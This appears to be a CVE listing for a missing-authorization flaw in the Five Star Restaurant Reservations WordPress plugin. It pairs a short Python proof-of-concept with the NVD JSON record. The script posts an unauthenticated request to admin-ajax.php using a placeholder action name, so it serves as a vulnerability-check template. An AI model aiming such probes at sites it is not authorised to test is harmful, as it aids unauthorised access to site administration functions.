CVE-2026-25327

import requests # Exploit Title: Five Star Restaurant Reservations < 2.7.9 - Missing Authorization PoC # Date: 2026-03-25 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/restaurant-reservations/ # Version: <= 2.7.9 # CVE: CVE-2026-25327 def check_vulnerability(target_url): """ Conceptual PoC for Missing Authorization vulnerability. Attempts to access an administrative function without authentication. """ # The specific action endpoint may vary; this represents a typical AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to trigger a privileged action (e.g., exporting or modifying data) # Note: The specific 'action' parameter needs to be identified via source code review payload = { "action": "restaurant_reservations_vulnerable_action", "data": "test" } try: print(f"[+] Sending request to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) # Analyze response to check if access was granted without auth if response.status_code == 200 and "success" in response.text.lower(): print("[!] Potential Vulnerability Confirmed!") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Vulnerability not detected or endpoint changed. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Error] Could not connect to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)

{"cve": {"id": "CVE-2026-25327", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:44.110", "lastModified": "2026-04-29T10:16:54.363", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Rustaurius Five Star Restaurant Reservations restaurant-reservations allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Five Star Restaurant Reservations: from n/a through <= 2.7.9."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Rustaurius Five Star Restaurant Reservations restaurant-reservations permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Five Star Restaurant Reservations: desde n/a hasta &lt;= 2.7.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/restaurant-reservations/vulnerability/wordpress-five-star-restaurant-reservations-plugin-2-7-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}